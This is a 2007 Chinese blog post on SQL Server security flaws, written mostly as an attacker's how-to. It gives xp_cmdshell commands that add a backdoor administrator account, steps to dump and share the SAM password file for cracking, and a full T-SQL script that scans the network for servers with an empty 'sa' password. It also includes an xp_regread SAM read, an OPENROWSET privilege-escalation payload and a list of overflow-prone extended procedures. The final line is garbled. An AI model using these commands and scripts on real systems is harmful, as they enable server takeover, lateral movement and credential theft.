ITPub博客

首页 > Linux操作系统 > Linux操作系统 > 关于SQL SERVER存在的一些安全问题

关于SQL SERVER存在的一些安全问题

原创 Linux操作系统 作者:张盎 时间:2007-06-28 13:36:46 0 删除 编辑
-- 关于SQL SERVER存在的一些安全问题:

存在"sa"帐户,密码就为空,而且这个密码是SQL SERVER安全模块成员,我们就
可以通过xp_cmdshell stored procedure(扩展存储过程)来进行命
令操作,如:

Xp_cmdshell "net user testuser UgotHacked /ADD"
然后在:
Xp_cmdshell "net localgroup Administrators testuser /ADD"

这样攻击者就成功的在SQL SERVER上增加了一个用户。

当然远程的话,一般需要有1433口开着,通过MYSQL 客户端进行连接。

当然你也可以使用:

Xp_cmdshell "rdisk /s-"

的方法,这样就在\winnt\repair目录里重建了信息而不提示用户。然后
在SAM备份以后,攻击者可以建立一个SMB连接到共享或者建立一个连接:

Xp_cmdshell "net share getsam=c:\winnt\repair"

利用共享获得这个文件,然后在使用l0phtcrack来跑吧。如果SMB端口被防火墙
控制了,或者关闭了,攻击者也可以拷贝sam._文件到WEB目录进行匿名浏览器
下载。如果人家没有开IIS,你何不用tftp呢.

OK,通过这台被控制的SQL SERVER服务器,攻击者可以通过它来查找网络内部
其他机器来扩大战果,下面是一个SQL脚本来列举网络中其他SQL SERVER存在
空帐户'sa'的示例:

-----------------------------------------------------------------------

-- Create temp table to store enumerated servers

SET NOCOUNT ON

CREATE TABLE #temp (shelldump varchar(255))

INSERT #temp EXEC xp_cmdshell 'osql -L'

DECLARE @current_server varchar(255), @conn_string varchar(255)

DECLARE sql_cursor CURSOR FOR SELECT * FROM #temp

OPEN sql_cursor FETCH NEXT FROM sql_cursor INTO @current_server

-- Loop through potential targets and check for null sa accounts

-- If target is vulnerable, version information will be displayed

WHILE @@FETCH_STATUS = 0

BEGIN

If @current_server <> 'Servers:'

BEGIN

SELECT @current_server = rtrim(ltrim(@current_server))

SELECT @conn_string = 'exec xp_cmdshell ''osql -S' + @current_server + ' -Usa -P -Q "select @@version"'''

PRINT 'Attempting connection to server: ' + @current_server

EXECUTE (@conn_string)

PRINT '====================================================================='

END

FETCH NEXT FROM sql_cursor INTO @current_server

END

--Clean up

CLOSE sql_cursor

DEALLOCATE sql_cursor

DROP TABLE #TEMP


select * from #temp

----------------------------------------------------------------------

当然有些人也可能关闭xp_cmdshell extended stored procedure(扩展存储过程),我们也可以使用下面的方法:

xp_regread 'HKEY_LOCAL_MACHINE', 'SECURITY\SAM\Domains\Account', 'F'

如果MSSqlserver 服务在本地系统帐户下运行,并且如果系统上没有安装syskey,上面的调用就可以返回注册表中加密的密码或者SID。

----------------------------------------------------------------------------------------
另一个漏洞,是关于adhoc heterogenous queries 来进行权利的提升,请看下面微软的描述:http://www.microsoft.com/technet/security/bulletin/fq00-014.asp

关于上面的漏洞,可以使用下面的xploit来获得权利的提升:

SELECT * FROM OPENROWSET('SQLOLEDB','Trusted_Connection=Yes;Data Source=myserver',
'SET FMTONLY OFF execute master..xp_cmdshell "dir c:\"')

这是大家比较喜欢的一种可以执行其他命令,自己想吧。
-----------------------------------------------------------------------------------------

还有就是最近的一个漏洞:Extended Stored Procedure Parameter Parsing (扩展存储过程参数解析)的漏洞,详细信息在这个URL有介绍:
http://www.microsoft.com/technet/security/bulletin/ms00-092.asp。

起主要问题是在MSD中提供一个API函数srv_paraminfo(),它是用来扩展存储过程调用时解释深入参数的,如:

exec <存储过程名> <参数1>, <参数2>, ...
如要查询“c:\winnt”的目录树,可以如下表达:
exec xp_dirtree 'c:\winnt'

但没有检查各个参数的长度,传递相当长的字符串,就存在了覆盖其他堆栈参数的可能导致缓冲溢出。

目前已经知道的过程如下:
目前已知受影响的扩展存储过程如下:

1、xp_peekqueue (xpqueue.dll)
xp_printstatements (xprepl.dll)

给第一个参数传递超长的字符串会覆盖异常处理程序所保存的返回地址。

2、xp_proxiedmetadata (xprepl.dll)

该存储过程使用4个参数。给第二个参数传递超长的字符串会覆盖异常处理程序所保存的返回地址。

3、xp_SetSQLSecurity (xpstar.dll)

该存储过程使用4个参数。给第三个参数传递超长的字符串会使整个SQL Server进程立即终止。

4、xp_displayparamstmt(xprepl.dll)
xp_enumresultset(xprepl.dll)
xp_showcolv (xprepl.dll)
xp_updatecolvbm (xprepl.dll)

给第一个参数传递超长的串将导致非法操作并覆盖异常处理程序所保存的返回地址。

这里告诉大家一个技巧性的东西,如果想要知道这些扩展存储过程调用了那写dll文件,你可以如下操作,如:

select o.name,c.text from dbo.syscomments c, dbo.sysobjects o where c.id = o.id and o.name = 'xp_peekqueue'

这样你就可以获得调用这个扩展存储过程的DLL了,如果微软没有出补丁的话,你就暂时把这个DLL文件改名吧,当然有些DLL文件调用几个扩展存储过程,不能盲目更改,否则导致其他的也不能使用,你需要使用下面的操作来知道DLL调用那些扩展存储过程:

select o.name,c.text from dbo.syscomments c, dbo.sysobjects o where c.id = o.id and c.text = 'xpqueue.dll'

幸好微软出了补丁,你可以到下面的地方找到,不用一个一个找DLL程序了,呵呵:

http://support.microsoft.com/support/sql/xp_security.asp

这个漏洞@stake发现并提供演示的测试代码,大家可在这里找到:

http://www.atstake.com/research/advisories/2000/sqladv2-poc.c

---------------------------------------------------------------------------------------------
OK,当然SQL SERVER也有一些其他漏洞,相对轻微些,如ISS发现的管理员LOGIN ID存储在注册表中,其加密的方法比较简单,很容易获得,详细情况请看:http://xforce.iss.net/alerts/adv ... 梢缘狡渌?胤秸艺摇

来自 “ ITPUB博客 ” ,链接:http://blog.itpub.net/10315043/viewspace-498418/,如需转载,请注明出处,否则将追究法律责任。

请登录后发表评论 登录
全部评论

注册时间:2008-11-21

  • 博文量
    10
  • 访问量
    13897